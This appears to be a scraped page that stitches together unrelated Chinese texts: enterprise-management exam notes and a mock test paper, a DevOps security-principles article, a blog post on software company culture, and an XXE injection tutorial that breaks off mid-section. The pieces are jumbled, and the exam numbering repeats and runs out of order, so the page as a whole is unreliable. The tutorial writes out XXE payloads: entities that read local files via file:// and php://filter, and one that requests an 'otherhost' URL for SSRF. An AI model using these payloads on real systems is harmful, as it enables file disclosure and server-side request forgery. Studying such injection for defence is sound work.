    生产制造型企业培训体系的建立还设计到培训的需求调查、培训评估,特别是技
    术类课程设计更与企业密切相关。
    三、试分析“推动式”和“拉动式”生产组织方式的特点? 1.推动式:需求量大,各个部门都是按照公司规定的生产计划进行生产。上工序无需为
    下工序负责,会产生很多重大“浪费”。 2.拉动式:需求量少,个性化, 根据需要加工多少产品,要求前一作业制造正好需要
    的零件。相比推动式,拉动式根据需要加工多少产品,要求前一作业制造正好需要的
    零件。
    四、“ERP”理论的变迁经历了哪几个阶段?各阶段的特点是什么?
    1.基本 MRP 阶段(MRP)
    特点:在传统的基础上引入了时间分段和反映产品结构的物料清单 BOM,较好地解决了
    库存管理和生产控制中的难题,即按时按量得到所需要的物料。
    2.闭环 MRP 阶段(CL-MRP)
    特点:主生产计划与物料需求计划的运行(或执行)伴随着能力与负荷的运行,从
    而保证计划是可靠的。能力的执行情况最终反馈到计划制定层,整个过程是能力的不
    断执行与调整的过程。
    3.MRP-II 阶段(制造资源计划)是一个围绕企业的基本经营目标,以生产计划为主线,
    对企业制造的各种资源进行统一计划和控制的管理信息系统,也是集成企业的物流、
    信息流和资金流并使之畅通的动态反馈系统。产品的整个制造过程都伴随着资金流通
    的过程,MRP-II 通过对企业生产成本和资金运作过程的掌握,调整企业的生产经营规
    划和生产计划,因而可以得到更为可行、可靠的生产计划。
    4.企业资源计划(ERP)ERP 是 MRP-II 的下一代,是为了“打破企业四壁的局限,把信
    息集成的范围扩大到企业的上下游,管理整个供应链,实现供应链制造”。ERP 的管理
    范围涉及企业的供需过程,是对供应链的全面管理。
    五、为什么说“JIT”是一种理想的生产方式? 1.因为它设置了一个最高标准,一种极限,那就是“零”。实际生产可以无限地接近这
    个极限,但却永远不可能达到。有了这个极限,才使得改进永无止境。
    2.因为它提供了一个不断改进的途径,即降低库存-暴露问题-解决问题、降低库存等
    这是一个无限循环的过程。
    第七模块 经济学
    一、什么是供求定理?
    在其他条件不变的情况下,需求变动分别引起均衡价格和均衡数量的同方向的变
    动;供给变动引起均衡价格的反方向的变动,引起均衡数量的同方向变动。
    三、GDP 的概念和范畴
    国内生产总值 GDP 是指经济社会(即一国或一地区)在一定时期内运用生产要素所
    生产的全部最终产品(物品和劳务)的市场价值。
    应用范畴:1.是一个市场价值的概念
    2.其测量的是最终产品的价值,中间产品价值不计入 GDP
    3.是一段时间内所生产而不是所售卖掉的最终产品价值
    4.是计算期内生产的最终产品价值,是流量而不是存量
    5.是一国范围内生产的最终产品的市场价值,是一个地域概念
    6.一般仅指市场活动导致的市场价值
    第八模块 战略管理
    一、战略管理分为哪几个层次,每一层次所涉及的内容?
    企业战略管理的三个层次是:公司战略;经营(事业部)战略、职能战略。 1、公司战略:是企业总体的、最高层次的战略。
    确定企业的整体目标和活动范围 2、经营(事业部)战略:经营(事业部)战略也称作竞争战略。
    在选定的市场或业务范围内采取优势竞争方法在市场竞争中取胜
    3、职能层战略:有效的组织资源、流程和人员以实现公司层面和经营单位层面的战略。
    二、波特五种力量模型指的是哪五种力量?
    五种力量分别为进入壁垒、替代品威胁、买方议价能力、卖方议价能力以及现存
    竞争者之间的竞争。
    1.行业内现有竞争对手的威胁:行业内现有企业之间总是存在着竞争。但是,不同行
    业现有企业间的竞争激烈程度是不同的,有的比较缓和,有的比较激烈。竞争降低了
    企业的盈利能力,从而对企业构成了威胁。
    2.潜在进入者的威胁:潜在竞争者进入行业,变成显在的竞争者。由于它的新业务能
    力和充裕的资源,这将导致行业竞争更加激烈,并导致行业的整体利润率下降。
    3.替代品生产者的威胁:一个行业部门中的所有企业都将和生产替代品的其他行业部
    门的企业进行竞争。替代品给行业内企业带来的威胁,主要体现在它们通过争夺消费
    者而弱化了行业内企业的盈利和定价能力。
    4.供应商的威胁:供应商是向企业及其竞争对手供应各种所需资源的企业或个人。它们
    可以通过提高供应商品的价格和降低供应商品的质量来对企业造成威胁。
    5.买方的威胁:顾客是企业产品或服务的购买者,是企业服务的对象。买方的威胁主要
    表现了降低企业的收入。
    三、波特的竞争战略有哪几种形式?
    基本竞争战略有三种:成本领先战略、差异化战略、集中战略。
    成本领先战略:把成本控制到比竞争者更低的程度;
    差异化战略:在企业产品和服务中形成与众不同的特色,让顾客感觉到你提供了比其他
    竞争者更多的价值;
    集中战略:企业致力于服务于某一特定的市场细分、某一特定的产品种类或某一特定
    的地理范围。
    四、分析某企业成本领先战略的优缺点
    优点:抵挡住现有竞争对手的对抗,抵御购买商讨价还价的能力,更灵活的处理
    供应商的提价行为,形成进入障碍,树立与替代品的竞争优势。
    缺点:降价过度引起利润率降低,新加入者可能后来居上,丧失对市场变化的预
    见能力,技术变化降低企业资源的效用,容易受外部环境的影响。
    五、简述战略管理分为哪些过程?
    战略管理过程是战略分析、战略选择及评价与战略实施及控制三个环节相互联系、
    循环反复、不断完善的一个动态管理过程。
    1、企业外部环境分析 2、企业内部条件分析 3、确定企业的使命与愿景 4、确定企
    业的战略目标 5、企业战略方案的评价及选择 6、企业职能部门策略 7、企业战略的实
    施与控制
    二、给定利率,想在第 n 年、第 m 年和第 l 年末分别提款 E 万? (1)求复利率是多少?
    (2)求现在应存款多少才能刚好
    (3)画出完整的现金流量图
    四、某只股票上年每股股利为 n 元,预计以后每年以 m%的增长率增长,时
    代公司经分析后,认为必须得到 l%的报酬率,才能购买这家公司的股票。
    则这种股票的价格为多少?
    市盈率=P/EPS(股票价格/每股净利润)
    市销率 PS=总市值÷主营业务收入或者 PS=股价÷每股销售额
    五、已知某一时期内某商品的需求函数为 Qd=50-5P,供给函数为 Qs=-10+5P。 (1)求均衡价格 Pe 和均衡数量 Qe。 (2)假定供给函数不变,由于消费者收入水平提高,使需求函数变为 Qd=60-5P。求出
    相应的均衡价格 Pe 和均衡数量 Qe。 (3)假定需求函数不变,由于生产技术水平提高,使供给函数变为 Qs=-5+5P。求出相
    应的均衡价格 Pe 和均衡数量 Qe。

    《企业管理》模拟测试试卷
    班级: 姓名: 学号:
    题号 一 二 三 四 五 总分
    评分
    得分 评卷人

    一、单项选择题(本大题共10小题,每小题2分,共20分)请将答案填在下面的表格中。

    1 2 3 4 5

    6 7 8 9 10

    二、判断题(本大题共10小题,每小题1分,共10分)请将答案填在下面的表格中。

    1 2 3 4 5

    6 7 8 9 10

    一、单项选择题(本大题共10小题,每小题2分,共20分)请将答案填在下面的表格中。
    1、( )是指组织(企业)职权等级链上所设置的管理职位的级数。
    A、管理层次 B、管理幅度
    C、管理规模 D、管理结构
    2、可以减少行政领导人的指挥工作,但容易造成多头领导,命令不统一的组织结构是( )
    A、事业部制组织结构 B、职能制组织结构
    C、直线制组织结构 D、直线职能制组织结构
    3、马斯洛的需要层次理论认为人的需要分为五个层次,它们从低到高的顺序是( )
    A、 生理的、安全的、社交的、自尊的和自我实现的需要
    B、安全的、生理的、社交的、自尊的和自我实现的需要
    C、自我实现的、自尊的、社交的、安全的和生理的需要
    D、生理的、自尊的、安全的、社交的和自我实现的需要
    4、以匿名的方式通过几轮函询,征求专家们的意见,预测小组队意见汇总整理,作为参考资料再发给专家,从而提出新的论证,如此往复,专家意见趋于一致。这种预测方法是( )
    A、头脑风暴法 B、德尔菲法
    C、主观概率预测法 D、技术预测法
    5、关于市场构成的表述正确的是( )
    A、人口数量即为市场
    B、购买欲望即为市场
    C、购买力即为市场
    D、市场由人口、购买力和购买欲望构成
    6、已知某行业产品的市场竞争日趋激烈,销售量渐趋零增长,那么根据产品生命周期理论可以认为这种行业的产品正处于( )
    A、投入期 B、成长期
    C、成熟期 D、衰退期
    7、下列项目( )应当计入GDP。
    A、销售给本国企业的原材料的市场价值
    B、股票买卖的价格
    C、银行助学贷款的利息
    D、私人向贫困大学生的捐赠
    8、从各个备选方案中选取某种最优方案而放弃次优方案所丧失的潜在利益,称为( )
    A、付现成本 B、沉没成本
    C、机会成本 D、无关成本
    9、下列( )不属于迈克尔.波特的三种卓有成效的竞争战略。
    A、成本领先战略 B、风险规避战略
    C、差异化战略 D、专一(聚焦)战略
    10、生产车间内的布置应该遵循( )、经济性和安全性原则。
    A、便捷性 B、流动性
    C、工艺性 D、连续性
    得分 评卷人

    二、判断题(本大题共10小题,每小题1分共10分)

    1、国内生产总值是指一个国家或地区在一定时期内运用生产要素所生产的全部最终产品(物品和劳务)的市场价值。( )
    2、管理是企业管理者的事情,只有企业管理者才需要学管理。( )
    3、招聘考试中的“笔试”内容应该与“岗位说明书”密切相关。( )
    4、资金的时间价值:是指资金在生产和流通过程中随着时间推移而产生的增值。( )
    5、决策者根据几种不同的自然状态可能发生的几率所进行的决策称为不确定性决策。( )
    6、以企业价值最大化作为财务管理的目标有利于社会资源的合理配置,从而实现社会效益最大化。( )
    7、生产运作活动是企业的最基本活动,是企业创造价值的主要环节。( )
    8、营销理论认为市场就是买卖商品的场所。( )
    9、营销渠道是指产品从生产者向消费者转移时所经过的路线,是联结制造商、中间商和消费者的纽带,反映着他们的经济关系和利益。( )
    10、某公司2018年上半年根据市场销售的情况对下半年每个月的生产计划的产量有了估算,并准备在下半年执行 ,该句话反映了公司在决策技术方面的应用。( )
    得分 评卷人

    三、简答题(本大题共5小题选择其中4个小题作答即可,每小题10分共40分,多答不给分)
    1、简述泰罗的科学管理理论的主要内容

    2、简述招聘的渠道及其优劣势。

    3、什么是市场细分,如何进行目标市场选择?

    4、简述MRP的主要输入都有哪些?

    5、企业战略分为哪几个层次,每一层次所涉及的内容?

    得分 评卷人

    四、计算题(本大题共3小题,请选择其中2小题进行解答,每小题10分,共20分,多答不给分。)
    1、某企业2017年A产品的销售单价为50元/台,单位变动成本为30元/台,固定成本10000元。试求:
    (1) 计算盈亏平衡点的销售量;
    (2) 上年度该产品盈利5000元,计算2017年度的销售额;
    (3) 计算目标利润为10000元时的产销量。

    2、某公司从现在开始连续5年向银行贷款100万元,利率为10%。请画出现金流量图并计算:(1)若第5年末一次偿还,问需要还款多少?
    (2)若银行要求从第5年末开始,连续5年以等额资金还清贷款,问每年需要还多少? 注:1.(F/A,10%,4)=4.6410, (F/A,10%,5)=6.1051,(F/A,10%,6)=7.7156, (F/P,10%,1)=1.1, (F/P,10%,5)=1.6105 (A/P,10%,5)=0.2638

    3、某工程分解出的作业和作业之间的关系以及作业时间如下表所示。绘制网络图。计算时间参数并确定关键路线、估计完工所需时间。
    作业名称 作业时间 紧前工序 作业名称 作业时间 紧前工序

    在这里插入图片描述

    得分 评卷人

    五、案例题(本大题1个小题,共10分)

    三年以前,某计算机公司招聘录用两名计算机专业刚刚毕业的大学生张强和李明。公司人事经理决定让他们从事市场营销工作。虽然两个人都愿意从事该项工作,但张强个性外向、热情、开朗,善于交际且主动;而李明则与之相反。一年后,张强完全适应了销售工作,且成绩出色,被提升为部门副经理;而李明表现一般,仅能完成上级交给的任务。过了一段时间后,李明找人事主管谈话,说他准备辞职,对营销工作早已不感兴趣。人事主管私下了解,得知李明有极强的创新精神,高中时就获得过科技发明奖。人事主管和公司总经理找李明作了一番长谈后,将李明调到公司研究开发部工作。李明到新的工作部门不到一年,两项发明就为公司创利二十多万元。
      1.为什么张强能适应营销性工作,而李明就不能?
      2.如果你是公司管理者,你如何解决李明提出辞职的问题?
      3.从这一案例中,你得到什么启示?

    展开全文
  • DevOps企业实践指南(8): 安全机制

    千次阅读 2017-08-28 19:37:57
    通过了解卡巴斯基实验室对于安全性相关的调查状况的解读,了解到了目前企业安全状况不容忽视的现状。同时阐述了随着DevOps持续集成和持续部署的加快,安全机制如何才能保证跟上快速的节奏,应该从那些角度着手,有...

    DevOps落地实践中,安全机制应该如何保证,这篇文章从当前安全状况调查解读开始,同时介绍了DevOps落地实践时应该遵循的原则。

    安全问题现状

    Kaspersky Lab对26个国家超过5500公司进行了安全相关的调查,结果发现,安全风险无处不在,付出成本相当昂贵。

    这里写图片描述

    项番调查结果
    190%的业务曾发生过安全事故,而且,高达46%的业务由于内部或者外部的安全问题丢失过敏感的数据
    2大型企业平均每个安全漏洞要付出551,000$的直接成本,而对于中小型企业这个数字是38,000$
    3大型企业平均每个安全漏洞要付出额外的69,000$ 的间接成本, 而对于中小型企业这个数字是8,000$

    安全漏洞影响

    这里写图片描述
    风险无处不在,漏洞影响巨大,主要的三种影响为:

    项番影响
    1对公司信用的影响
    2安全漏洞产生的额外的人员以及培训的费用
    3关键业务不能服务或者错误服务导致的额外保险等费用

    安全漏洞类型

    这里写图片描述
    安全漏洞很多,在这其中,企业付出代价最大的三种类型分别是:

    项番漏洞类型
    1可以被木马等方式利用进行网络关键信息获取的漏洞
    2整合第三方业务服务引入的安全漏洞
    3网络设定相关或者容易被黑客进行攻击的安全漏洞

    数据丢失的威胁来源

    在一个数据变得越来越敏感和重要的年代,可能带来数据丢失的安全漏洞更加引起着广泛地关注。在这其中,以下三类严重威胁着企业的数据安全。

    项番数据丢失的安全威胁
    1恶意软件
    2钓鱼式攻击
    3内部员工导致的敏感数据泄露

    DevOps实践中容易忽视的一环

    安全,在DevOps实践中是非常容易被忽视的一环。所有人都认为安全非常重要,但是安全控制从那些角度着手,有哪些原则需要遵守,随着DevOps持续集成和持续部署的加快,安全机制如何才能保证跟上快速的节奏,这些都是我们在落地DevOps实践中需要考虑的问题。

    安全实践原则

    安全生产,重于泰山。落地实践,重在细节。如何落地,如下整理一些实际落地的实践原则:

    原则一:以终为始,分析被攻击的价值所在

    站在攻击者的角度,设身处地,将心比心,看看为什么会被攻击,然后便可以制定对应的应对措施了。

    项番价值分析自测问题
    1通过你的系统是否有可能接触到大量的用户私密数据,而这些数据在现在的时代具有重要的价值?
    2通过你的系统是否能够接触到很多用户名/密码,这些具有不同权限的用户名和密码是否能给攻击者带来很多价值,比如身份盗用?
    3通过你的系统是否能接触到用户的信用卡号码和账单地址等?
    4通过你的系统是否能接触到用户行为习惯这些隐私性的数据,而这些数据能够使得算法更加聪明?
    5通过你的系统是否能够接触到进行转账相关的关键性数据?
    6

    原则二:以客户为中心的安全策略

    安全策略的创建,一般方式有如下两种:

    项番角度安全策略
    1安全专家保护企业资产的安全角度的防护策略
    2业务专家满足客户的需求以增加收入的安全策略

    由于安全专家与业务专家着眼点的不同,会导致在决策上产生很大分歧和摩擦。安全专家着重在防守,但是当安全方案在支持DevOps的快速响应客户需求,推动敏捷实践和持续创新落地方面则会显得步履蹒跚。而仅着眼于价值的业务专家往往对一些安全必须要注意的事项会选择性的无视。
    而秉持以客户为中心的理念,使得安全和价值两者在实现时需要进行权衡和调整,安全专家采取一些不至于过于笨重的策略,保证安全的同时同时保障业务创新的敏捷性需求。

    原则三:安全策略的左移

    传统的方式下,开发团队/运维团队/安全团队各司其职,保证整个IT业务的整体实现:

    部门职责
    开发团队应用软件的开发和价值的交付
    运维团队保证服务的可用性和连续性
    安全团队负责安全保障

    在这种构成之下,开发/运维/安全部门各有各自的KPI,职能相互独立,目标不同甚至产生对立和冲突,而且往往在交付到生产环境之前才会确认安全相关的确认,而安全事件的对应越晚付出的成本越高。根据研究,产品上线或者在运维阶段解决安全问题的成本往往远高于设计阶段:

    阶段修复安全问题的成本
    产品发布以后是设计阶段解决成本的4到5倍
    运维阶段达到甚至超出设计阶段解决成本的100倍

    DevOps实践之中,尽早融入需要确认的安全性因素到各个阶段:

    阶段安全策略
    需求阶段客户合规性安全需求
    开发阶段代码静态分析,脆弱性检测
    测试阶段安全相关的测试内容
    运维阶段合规性和安全相关的监控

    这样,尽可能早地引入了安全相关的机制,保证了安全保障的确认不会拖慢DevOps实践的节奏。

    原则四:安全策略与工具的融合

    在原则三中,我们意识到了安全策略要提前融入,工具在这其中也扮演着一个重要的角色。工具的自动化保障了安全在DevOps落地实践的顺畅执行。比如可以在如下阶段使用如下工具:

    阶段安全策略工具融合
    需求阶段客户合规性安全需求Anchore
    开发阶段代码静态分析,脆弱性检测Sonarqube/Findbugs/Fortify
    测试阶段安全相关的测试内容Robot/Selenium/UFT
    运维阶段合规性和安全相关的监控Clamvn/Anchore/Clair

    工欲善其事,必先利器。融合开发/运维/安全是一个非常繁重的工作,引入合适的工具能够做到事半功倍,使得开发/运维/安全的融合更加顺畅。

    原则五:持续评估CI/CD的安全状况

    持续集成和持续部署加快了交付的速度,但是自动化机制处理的不得当可能会带来很多安全上的隐患,所以评估CI/CD的安全状况以便持续改进非常重要。这里整理了一些常见的问题以便能够帮助进行自测和评估。

    项番安全评估自测问题
    1开发者能够看到其他项目的敏感信息么?
    2扩展问题1,各种用户的权限是否清晰,是否存在越权的风险?
    3密码的信息是否是用明文的形式进行存储?
    4匿名用户时候会取得过于宽松的权限比如可以执行所有项目的脚本?
    5构建的机制是否容易或者可能被攻击?
    6开发者是否可能轻易地删除其他项目的一些信息?
    7是否使用了一些其他的不安全的服务或者机制进行CI/CD?
    8是否存在上传脚本等自定义机制引入不安全的因素?
    9安全相关的基线管理是否融入和CI/CD之中?

    原则六:创建适合DevOps的安全标准

    安全不是为了做出一个不明觉厉的复杂安全报表让人不知所措,安全报告是为了进行决策而产生的,而产生安全报告的安全标准更应该考虑到这样。我们在原则三中提出了安全应该融入软件生命期的各个阶段,所以针对不同的阶段和不同的角色,安全标准的侧重点应该有所不同。

    阶段安全策略安全标准侧重点
    需求阶段客户合规性安全需求侧重于整体性的业务资源相关以及企业资产安全相关的内容
    开发阶段代码静态分析,脆弱性检测代码的漏洞或者缺陷
    测试阶段安全相关的测试内容系统功能性的正确性和安全相关的测试内容
    运维阶段合规性和安全相关的监控基础设施和配置方面存在的缺陷和漏洞

    原则七:主动监控而不是被动应对

    如果先于攻击者发现安全漏洞并将其修复,而不是在遭受到攻击之后被动的应对,损失则能免掉很多。主动监控安全问题,尽可能早地的发现可能会被攻击者或者对手利用的缺陷,则能带来极大的好处。
    所以强化以上各个原则,达成融合安全和自动化于DevOps实践之中,在持续集成和持续部署中尽早地发现可能存在的隐患,主动监控,快速反馈,主动应对,对企业会很有帮助。

    原则八:自我攻击和验证

    依据DevOps环境一致性原则,Staging环境尽可能地与生产环境类似,可以在Staging环境中验证可能的各种攻击,先于可能的攻击者对自己的系统进行攻击和验证,以激进地发现可能的问题,降低了大部分潜在可能的简单外部攻击带来的影响。

    原则九:安全的持续评估&安全规则固化

    安全的对应是一个长期的过程,是企业在持续学习中应该不断保持的状态,同时更应该不断提升安全的等级以保证业务的连续性。通过不断的对安全进行评估,确定出需要强化的安全事项,不断将这些事项固化成最佳实践,然后标准化,最后自动化到整体的流程之中,以保证安全机制的整体不断增强和持续改进。

    总结

    安全是一个被所有人口头上非常重视,但是往往在实际的实践中选择性无视的一个话题。通过了解卡巴斯基实验室对于安全性相关的调查状况的解读,了解到了目前企业安全状况不容忽视的现状。同时阐述了随着DevOps持续集成和持续部署的加快,安全机制如何才能保证跟上快速的节奏,应该从那些角度着手,有哪些原则需要遵守,细节上如何落地的方式。

    展开全文
  • 也谈软件公司的企业文化

    千次阅读 2011-08-22 16:31:03
    上周六给公司同事做了《软件公司的企业文化发展与案例》的讲座,从企业文化的概念、构成、产生、发展到美国日本企业文化案例分析以及中国企业文化的现状与启示,全面地展示与分析了软件公司的企业文化现状与问题。...
     
    

    上周六给公司同事做了《软件公司的企业文化发展与案例》的讲座,从企业文化的概念、构成、产生、发展到美国日本企业文化案例分析以及中国企业文化的现状与启示,全面地展示与分析了软件公司的企业文化现状与问题。

     

    那么,什么是企业文化?企业文化是指企业在一系列市场经济的实践活动中,逐步形成的全体员工认同、遵守,带有企业特色的价值观念,企业文化的核心是价值观念与企业精神,而这些最终都要通过具体的形式或载体进行体现,比如各项管理制度、企业内部与外部环境、特色的企业产品与服务以及企业进行各项经营或关怀活动等等。企业文化于20世纪80年代初期在美国与日本提出,代表著作是1981年威廉大内的《Z理论-美国如何迎接日本的挑战》、1982年彼德斯&沃特曼的《追求卓越-美国优秀公司管理经念》以及1985年德鲁克的《创新与企业家精神》,企业文化于90年代初期传入中国,最早应用的企业应该是大庆油田提出的“铁人精神”。企业文化产生的心理学依据是马斯洛的需求层次理论,企业管理模式的发展过程经历了经验管理阶段(X理论)到制度管理阶段(Y理论),最后到文化管理阶段(Z理论)即管理的最高境界无为而治。

     

    (以下部分内容参考了网上的信息)美国与日本分别代表着东方与西方的发达国家,其企业文化受民族文化根基的不同而不同,美国的企业文化是以个人主义为核心的,员工将企业看成实现自我目标和个人价值的场所和手段,以严格的组织结构,严密的规章制度管理员工,重法轻情;而日本是和亲一致的团队精神,企业目标与个人目标具有高度一致性,权利和责任划分并不那明确,集体决策,以和为贵。两个国家企业文化的共同之处在于以人为本、具有创新意识与冒险精神、强调客户至上、重视企业形象与具有良好的竞争氛围。而目前国内企业的文化主要存在以下的问题:家族企业文化、注重企业文化的形式而忽视了内涵,企业文化脱离了企业管理实践、忽视企业文化的创新和个性。国内大多的企业目前还处在经验管理阶段与制度管理阶段,或两阶段的混合式,谈不上文化管理的模式,很多企业喜欢喊口号,“国际化”、“中国的微软或GOOGLE”等之类的,其实很虚空与无力,当然也有部分的精英企业可以做到。

     

     

    讲完这些内容,我感觉到空虚与不安,似乎文化这个东西离我们太远了,国内的中小型软件企业所关心的不是文化问题,而是生存问题,在这个体系不全、监管无序、盗版猖獗、恶性竞争、人才异动的行业环境里,我们的心是急躁,我们的战略是急进的,我们的行为是急促的,这能出优秀的产品与优质的服务吗?

     

    尽管如此,我们还是努力去做好每一个工作,对客户、员工、股东负起责任,也在不断的发展过程中去做企业文化的创立与尝试,希望能有所积累与效果,回到我的公司FasterSoft,已有六年的发展进程,也进行了许多的企业文化尝试,在这里与大家分享一下,欢迎指导与建议,企业管理制度、信息化管理平台以及工作环境的优化在这里就不多说了,主要是谈一些创意的文化点子:

    (1)       文化创立堂:由公司高管组成培训讲师,对公司员工进行讲座与讨论,主要由静思堂、敏思堂、创思堂和启思堂组成,静思堂来源于诸葛亮的《诫子书》:“非淡泊无以明志,非宁静无以致远”,主要范围是企业管理、企业文化、职业规划、人生思考、行业动态与分析等;敏思堂来源于《论语•公冶长》的“敏而好学,不耻下问”,主要范围是项目管理、团队建设、管理案例分析等;创思堂的主要范围是专题技术、架构设计、平台运营等,启思堂的主要范围是公关技能、商务礼仪、市场动态、营销能力、产品规划、客户关系管理、客户服务规范等。文化创立堂自成立以来,受到全体员工的支持,公司高层免费给员工做讲座,全方位地提高员工的技能。

    (2)       月度主题文化墙:每一月进行主题的更新,围绕当月主题进行图文展示,内容缤纷多彩,健康向上,主题范围不限,可以是时事、音乐、电影、阅读等等,追求更宽的视野,探索更多未知的知识,体现发思特鼓励创新、青春、活力的特质。

    (3)       头脑风暴会:每两个月举行一次,由公司总经理主持,基层人员、开发经理以及项目经理、部门经理按照5:3:1的比例参加,风暴内容可包括公司的管理、发展、社会热点、行业情况等。

    (4)       企业年刊《发思特人》:一年一刊,赠给员工与客户免费阅读,内容包括公司一年的发展情况、员工活动以及员工自发投稿的各类文章等,是企业对内沟通与对外宣传的平台。

    (5)       一大四小的活动制度:“一大”是指一年一次的公司全体员工出游大型活动,意在活跃公司整体气氛,提高员工的归属感;“四小”是指公司在每年的每一个季度举行特色活动,每一次活动分别对应春、夏、秋、冬这四个季节特有的主题,旨在体现团队的合作精神。

    (6)       内容丰富的年会:有优秀员工、优秀经理、优秀项目与优秀部门的评选与颁奖典礼,联欢表演,抽奖活动,晚宴等。

    (7)       ……….

     

    这些具有特色的企业文化是FasterSoft经过六年的发展与尝试,尽管目前还有很多地方需要提高与完善,但我们有信心,也会坚持做下去,文化这个东西,是一个长期的事情,刚开始的时候都很难,光喊口号没用,整一堆的规则与制度也没用,关键在于做些实事并坚持不懈,FasterSoft还是一家年轻的软件企业,软件事业是需要激情的,需要青春焕发、活力四射的员工,也需要特色的企业文化。

     

     

    展开全文
  • XML外部实体(XXE)注入详解

    千次阅读 2020-07-30 11:48:06
    XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展链接语言(Extensible Link...

    ###XML与xxe注入基础知识

    1.XMl定义

    XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展链接语言(Extensible Link Language,XLL)。

    XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。它被设计用来传输和存储数据(而不是储存数据),可扩展标记语言是一种很像超文本标记语言的标记语言。它的设计宗旨是传输数据,而不是显示数据。它的标签没有被预定义。您需要自行定义标签。它被设计为具有自我描述性。它是W3C的推荐标准。

    可扩展标记语言(XML)和超文本标记语言(HTML)为不同的目的而设计

    它被设计用来传输和存储数据,其焦点是数据的内容。

    超文本标记语言被设计用来显示数据,其焦点是数据的外观

    2.XML的作用

    XML使用元素和属性来描述数 据。在数据传送过程中,XML始终保留了诸如父/子关系这样的数据结构。几个应用程序 可以共享和解析同一个XML文件,不必使用传统的字符串解析或拆解过程。 相反,普通文件不对每个数据段做描述(除了在头文件中),也不保留数据关系结构。使用XML做数据交换可以使应用程序更具有弹性,因为可以用位置(与普通文件一样)或用元素名(从数据库)来存取XML数据。

    XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

    <?xml version="1.0" encoding="UTF-8"?>

    <!-- ⬆XML声明⬆ -->

    <!DOCTYPE  文件名 [

    <!ENTITY实体名 "实体内容">

    ]>

    <!-- ⬆文档类型定义(DTD)⬆ -->

    <元素名称 category="属性">

    文本或其他元素

    </元素名称>

    <!-- ⬆文档元素⬆ -->

    3.xml格式说明

    XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。

    (1)内部声明DTD

    <!DOCTYPE 根元素 [元素声明]>

    (2)引用外部DTD

    <!DOCTYPE 根元素 SYSTEM "文件名">
    或者
    <!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

    DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

     

    (3)DTD的实体

    l  DTD的作用

    DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。

    外部实体是指XML处理器必须解析的数据。它对于在多个文档之间创建共享的公共引用很有用。对外部实体进行的任何更改将在包含对其的引用的文档中自动更新。即XML使用外部实体将信息或“内容”将自动提取到XML文档的正文中。为此,我们需要在XML文档内部声明一个外部实体

    DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。。我们可以在内部确定其值(内部子集):

    1

    或从外部来源:(外部子集):

    2

    注意到SYSTEM标识符没?该标识符意味着该实体将从外部来源获取内容,在本例中,该内容是“site.com”下的一个页面。

    为了声明这些实体,我们需要在文档类型定义(DTD)中进行。DTD是一组标记声明,用于定义XML的文档类型。它定义了XML文档的合法结构块和具有合法元素和属性列表的文档结构。DTD可以在XML文档内部声明,也可以作为外部引用声明—使用SYSTEM标识符指向可解析位置中的另一组声明。ENTITY可以使用SYSTEM关键字,调用外部资源,而这里是支持很多的协议,如:http;file等,然后,在其他DoM结点中可以使用如:&test;引用该实体内容.

    那么,如果在产品功能设计当中,解析的xml是由外部可控制的,那将可能形成,如:文件读取,DoS,CSRF等漏洞.

    如果要引用一个外部资源,可以借助各种协议 几个例子:

    file:///path/to/file.ext

    http://url/file.ext

    php://filter/read=convert.base64-encode/resource=conf.php

    我们来看一个DTD的例子,一个在DTD里面有一个SYSTEM标识符的实体:

    l  内部声明实体

    DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

    一个内部实体声明

    <!ENTITY 实体名称 "实体的值">

    例子

    DTD:

    <!ENTITY writer "me">

    XML:

    <author>&writer;</author>

    注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

     

    l  引用外部实体

    一个外部实体声明

    <!ENTITY 实体名称 SYSTEM "URI/URL">

    或者

    <!ENTITY 实体名称 PUBLIC "public_ID" "URI">

    例子

    DTD:

    <!ENTITY writer SYSTEM "http://example.com/dtd/writer.dtd">

    XML:

    <author>&writer;</author>

    外部实体类型有

    xxe

    (4)CDATA

    CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。

    在 XML 元素中,"<" (新元素的开始)和 "&" (字符实体的开始)是非法的。

    某些文本,比如 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为 CDATA。

    CDATA 部分中的所有内容都会被解析器忽略。

    CDATA 部分由 "<![CDATA[" 开始,由 "]]>" 结束

    4.xml的实体

    XML 中的实体分为以下五种:字符实体,命名实体,外部实体,参数实体,内部实体,普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义需要加上 SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。如果不加SYSTEM关键字,则为内部实体,表示实体指代内容为字符串。

    (1)字符实体

    指用十进制格式(&#aaa;)或十六进制格式(&#xaaa;)来指定任意 Unicode 字符。对 XML 解析器而言,字符实体与直接输入指定字符的效果完全相同。

    (2)命名实体

    也称为内部实体,在 DTD 或内部子集(即文档中 <!DOCTYPE> 语句的一部分)中声明,在文档中用作引用。在 XML 文档解析过程中,实体引用将由它的表示替代。

    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///c://test/1.txt" >]>        
    <value>&xxe;</value>
    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "http://otherhost/xxxx.php" >]>        
    <value>&xxe;</value>

    可以用做xxe+ssrf

    (3)外部实体

    外部实体表示外部文件的内容,用 SYSTEM 关键词表示。

